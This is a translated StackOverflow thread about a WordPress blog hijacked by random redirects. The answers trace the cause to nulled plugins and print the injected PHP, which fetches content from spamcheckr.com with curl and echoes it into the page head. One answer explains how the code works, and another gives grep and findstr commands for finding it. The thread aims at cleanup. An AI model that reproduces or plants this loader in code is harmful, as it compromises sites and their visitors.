WordPress博客感染了HTML Refresh元标记

时间:2014-04-07 21:32:04

标签: wordpress redirect virus

Hello StackOverflow社区。我今天有一个非常有趣的(在我看来)感染与你分享。

4-5天前我意识到我的博客主页在加载几秒后被重定向到另一页。特别是对于youtube,在Justin Bieber视频中。我认为这是我的电脑问题,所以我扫描了病毒和恶意软件。但这不是我的错。

最后,我确信这不是一个本地问题,因为Google的网页速度见解有同样的结果。

因此,经过数小时的研究(以及一些破碎的键盘),我发现了这些线索。详情:

我的标题内创建了一个元标记,类似于:

<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">

首先,我禁用了所有插件,但没有结果。过了一会儿,问题仍然存在。 其次,我搜索了所有数据库表,以查明视频的URL是否包含在某处,但它不是。 然后我在我的模板编辑器中逐个搜索了php文件,但没有。 .htaccess也很清楚(不是100%肯定我在那里寻找的东西,但我认为没有什么可疑的。)

毕竟,我通过FTP下载了我的整个网站,并在每个文件中搜索了这个URL。我发现它包含在CACHE文件夹的某些HTML文件中。我为此目的使用W3 Total Cache。我删除了整个缓存文件夹,但过了一段时间后问题仍然存在。

这里有趣的事实是这种病毒&#34;并不总是活跃的。它出现在随机时间,每次都在不同的页面。今晚我意识到它出现在第二台电脑上,同时一切都在我的电脑上看起来很好。

Youtube视频网址为:http://www.youtube.com/watch?v=RFngSCaY5nA

所以我的问题是:在删除整个安装并从头开始之前,有没有人有推荐的解决方案?有没有其他人在过去遇到同样的问题?

我认为我必须分享。我很抱歉这篇长篇文章,试图尽可能详细。我不擅长编码,这是我第一次尝试运行一个WordPress网站,所以可能会有一些我忘了。

提前致谢。

5 个答案:

答案 0 :(得分:9)

我有同样的问题,并认为我找到了解决方案! 检查您的网站文件以获取此链接:http://spamcheckr.com/l.php 我在formcraft插件中找到了这个链接。

像这样:

if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}

<强>编辑: 同时检查:http://spamcheckr.com/req.php

答案 1 :(得分:2)

我在 wordpress fooboxV2插件中找到了这个脚本。(FooBox) 插件官方网址为http://fooplugins.com/plugins/foobox/

这是脚本文件路径 的 /wp-content/plugins/fooboxV2/includes/foolic_class.php

你可以看到整个脚本都被评论过。但是我在这个注释代码中找到了这段代码。

<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_hhesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_hhesk');}} ?>

答案 2 :(得分:1)

如果您使用的是Gravity Forms的无形版本,您可能还会遇到此重定向问题。要解决此问题,请转至/plugins/gravityforms/settings/setting.php并删除以下代码:

<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_cahesk');}} ?>
祝你好运。

答案 3 :(得分:0)

上面的答案很好。要添加它,我建议对搜索代码时遇到问题的人使用grep:

grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content

如果您没有grep并且无法访问您的服务器(Windows用户),请下载它或使用findstr:

findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content

(别忘了将/ www / wordpress / wp-content更改为该位置或您的wordpress文件夹

答案 4 :(得分:0)

也找到了它。在我的情况下,我使用了一个明显无效的插件(我没有意识到)。它被称为woocommerce-checkout-field-editor,并且正在注入Justin Bieber youtube视频的链接。

该功能如下所示,隐藏在\ wp-content \ plugins \ woocommerce-checkout-field-editor \ assets \ js \ class.php中:

if (mt_rand(0,99) == 1) {
function sec_check() {
    if(function_exists('curl_init'))    
    {
        $url = "spamcheckr.com/req.php";
        $ch = curl_init();
        $timeout = 5;
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
        $data = curl_exec($ch);
        curl_close($ch);
        echo "$data";
    }
}
add_action('wp_head','sec_check');

}

正如我们所看到的,它只会在随机函数达到'1'时显示垃圾邮件。然后,它礼貌地询问是否安装了curl,然后向垃圾邮件服务器发送一个简单的GET请求,以查看它应该注入的代码。

该网站是spamcheckr.com。

然后它将自己添加到WordPress标题中并重定向页面的查看器。

我向他们的主人报告了该网站,让我们看看会发生什么。